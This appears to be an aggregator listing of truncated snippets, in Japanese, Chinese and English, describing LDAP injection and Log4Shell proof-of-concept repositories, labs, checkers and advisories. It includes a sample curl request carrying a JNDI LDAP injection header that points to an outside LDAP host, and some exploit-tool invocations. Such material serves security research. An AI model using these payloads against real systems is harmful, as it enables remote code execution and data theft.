CVE-2020-9495

CVE-2020-9495 PoC CVE-2020-9495 は、Apache Archiva の 2.2.5 より前のバージョンにおける中程度の深刻度の LDAP インジェクション脆弱性です。これにより、攻撃者は LDAP サーバー上に存在するユーザーの任意の LDAP 属性値を取得できます。 公式の Apache Archiva アドバイザリ より: 特別な値を archiva のログインフォームに提供することで、攻撃者は接続された LDAP サーバーからユーザー属性データを取得できます。特定の文字を使用すると、接続された LDAP サーバー上のユーザーを照会するために使用される...

log4shell_lab

log4shell エクスプロイトラボ このリポジトリは、log4shell エクスプロイトラボのワンラインセットアップです。 ラボのセットアップ: docker-compose up -d エクスプロイトの実行: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" 次に、vul コンテナに移動して、実際にマシンを pwn したことを確認します: ラボのセットアップを解説する動画: https://www.youtube.com/watch?v=WBzR30JcT5...

securenvoy-cve-2024-37393

securenvoy-cve-2024-37393 负责任披露 针对CVE-2024-37393（SecurEnvoy MFA 9.4.513）的漏洞检查脚本。 用于检查LDAP注入的概念验证代码。 修复 漏洞已在SecurEnvoy MFA = 9.4.514中修复。 链接 https://www.optistream.io/blogs/tech/securenvoy-cve-2024-37393 作者 https://optistream.io...

CVE-2020-3952

CVE-2020-3952 の脆弱性ステータスを確認するスクリプト これは guardicore exploit から着想を得ていますが、若干の違いがあります。管理者ユーザーを作成しません。 脆弱性ステータスは、組み込みの Administrators グループが無害な 'description' 属性を作成または追加することで汚染可能かどうかを検証することで評価します。 確認 使用方法: root@kitploit: $ python exploitcheck.py vserverip 試行の検出 suricata シグネチャルール vmware.rules...

CVE-2021-44228-PoC-log4j-bypass-words

🤝 サポートをお願いします - コンテンツを気に入ったら ⭐️ をお願いします | Twitterでシェア | 私をフォローする 🐱‍💻 ✂️ 🤬 LOG4J Java エクスプロイト - WAF およびパッチバイパスのトリック 📝 説明 CVE-2021-44228 は以下で動作します： log4j: 2.0 = Apache log4j = 2.14.1 すでにパッチが適用された Java バージョン: 6u211+, 7u201+, 8u191+, 11.0.1+. Windows Defender は、jndi:ldap:... を含む .java ファイルを削除し始めました。...

python-log4rce

Python Log4RCE CVE-2021-44228 に対する、純粋な Python3 によるオールインワン PoCです。 サンプル root@kitploit: python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=" root@kitploit: INFO:HTTP:Running on local port 1337 INFO:HTTP:Remote target is...

log4j-docker-vaccine

Log4j Docker Vaccine Cyberreason が提供する log4j ワクチンをコンテナ化して実行する方法 https://github.com/Cybereason/Logout4Shell 実行方法 このリポジトリをクローンします: root@kitploit: git clone https://github.com/jeffbryner/log4j-docker-vaccine.git containers.env...

CVE-2021-44228-Log4j-lookup-Rce

0x01、環境 Jdk7u21（任意バージョンで可） 影響バージョン：Apache Log4j 2.x org.apache.logging.log4j log4j-core 2.11.1 Poc root@kitploit: import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test2 private static Logger LOGGER = LogManager.getLogger; public static void mainStri...

log4j2-exploit

Log4Shell CVE-2021-44228 概念実証 要件 Java JDK/JRE 8 以降のバージョン curl exploitable シンプルなSpring Bootアプリケーションで、ユーザー名とパスワードのログインページを提供します。POSTで / に送信されたユーザー名をログに記録します。アプリケーションがユーザー入力のログを記録する必要はありません。脆弱なバージョンのlog4j2を使用するアクセスログを有効にするだけで十分です。 実行方法: root@kitploit: cd exploitable ../mvnw -q spring-boot:run...

SecurEnvoy Two Factor Authentication - LDAP Injection

Multiple LDAP injections vulnerabilities exist in SecurEnvoy MFA before 9.4.514 due to improper validation of user-supplied input. An unauthenticated remote attacker could exfiltrate data from Active Directory through blind LDAP injection attacks against the DESKTOP service exposed on the...

CVE-2020-1958

CVE-2020-1958 PoC CVE-2020-1958 是 Apache Druid 0.17.0 中的一个高危 LDAP 注入漏洞。攻击者可借此绕过 LDAP 搜索过滤器，并检索 LDAP 服务器上存在的任意用户的任意 LDAP 属性值。 来自 Apache Druid 官方公告： 当启用 LDAP 身份验证时： 持有有效 LDAP 凭据的 Druid API 调用者可以绕过 credentialsValidator.userSearch 过滤器屏障，该屏障用于判断有效 LDAP 用户是否被允许通过 Druid 进行身份验证。如果配置了基于角色的授权检查，他们仍须接受这些检查。...

log4j_github_repository

这项工作包含针对CVE-2021-44228log4j的测试和改进工具 本研究的目的是列出蓝队和红队可以利用的针对Log4j漏洞的有用工具。Github链接可用于绕过工具、扫描、检测机制等。 扫描或POC 🔴 标题: log4j-shell-poc 🔴 描述: 针对最近发现的CVE-2021-44228漏洞的概念验证。 🔴 网址: https://github.com/kozmer/log4j-shell-poc 🔴 标题: Log4j2-RCE 🔴 描述: Log4j2 CVE-2021-44228复现及回显利用 🔴 网址:...

EXPLOIT-CVE-2021-44228

CVE-2021-44228 — Log4Shell PoC Lab 免責事項 このラボは教育およびセキュリティ研究のみを目的 として作成されています。 すべてのトラフィックは隔離されたDockerネットワーク内で発生します。 実際のシステムや明示的な許可なしにこの資料を使用しないでください。 不正使用は犯罪となる可能性があります。責任を持って使用してください。 CVE-2021-44228 とは？ Log4Shell は、2021年12月に発見された、Javaアプリケーションで広く使用されているロギングライブラリ Apache Log4j 2 の重大な脆弱性（CVSS 10.0）です。...

vmware_vcenter_cve_2020_3952

CVE-2020-3952の概念実証 これは、CVE-2020-3952を悪用する短いコードです。この脆弱性の詳細は、Guardicore Labsの記事（こちら）で説明されています。 この脆弱性は、2020年4月にVMwareによって公開され、CVSSスコア最大10.0と評価されました。ネットワーク接続を持つ攻撃者がvCenterディレクトリ（ひいてはvSphereデプロイ）を制御できるようになります。 VMwareはこのバグの修正をvCenter Server 6.7 Update 3fでリリースしました。以前のバージョンからアップグレードされたパッチ未適用のvCenter...

jndi-ldap-test-server

jndi-ldap-test-server これは、Java の JNDI+LDAP インジェクション攻撃、特に CVE-2021-44228 の脆弱性をテストするための 最小限の LDAP サーバーです。 CVE-2021-44228 の脆弱性をテストする方法 1. お使いのプラットフォーム用のテストサーバーバイナリをダウンロードします（すべてのバイナリは Releases にあります）。 2. テスト対象のアプリケーションからアクセス可能な IP アドレスでテストサーバーを実行します。 テスト対象のアプリと同じホストでサーバーを実行できれば最も簡単です （localhost）。 3...

CVE-2026-42568

CVE-2026-42568 — YAMCS LdapAuthModule におけるLDAPインジェクション 概要 org.yamcs.security.LdapAuthModule にLDAPインジェクションの脆弱性が存在します。ユーザー名パラメータがRFC 4515エスケープなしでLDAP検索フィルターに直接挿入されるため、認証回避が可能です。...

CVE-2021-29156

CVE-2021-29156 概念実証（Proof-of-Concept） c 2021 GuidePoint Security Charlton Trezevant [email protected] 背景 本日 GuidePoint は、ForgeRock OpenAM v13.0.0 における LDAP インジェクションの脆弱性である CVE-2021-29156 に対する実用的な概念実証ツールを公開できることを嬉しく思います。この脆弱性により、攻撃者は文字単位のブルートフォース攻撃を用いて、脆弱性のある OpenAM...

CVE-2026-81205

Improper Neutralization of Special Elements used in an LDAP Query 'LDAP Injection' vulnerability in Drupal LDAP / Active Directory Integration allows LDAP Injection. This issue affects LDAP / Active Directory Integration versions: from 0.0.0 to 2.2.1...

CVE-2026-81205

CVE-2026-81205 is an LDAP injection vulnerability in the Drupal LDAP / Active Directory Integration module (versions 0.0.0 through 2.2.1). The module does not sufficiently sanitize user-supplied input before incorporating it into an LDAP search filter, allowing an unauthenticated, remote attacker...

EUVD-2026-69998

Improper Neutralization of Special Elements used in an LDAP Query 'LDAP Injection' vulnerability in Drupal LDAP / Active Directory Integration allows LDAP Injection. This issue affects LDAP / Active Directory Integration versions: from 0.0.0 to 2.2.1...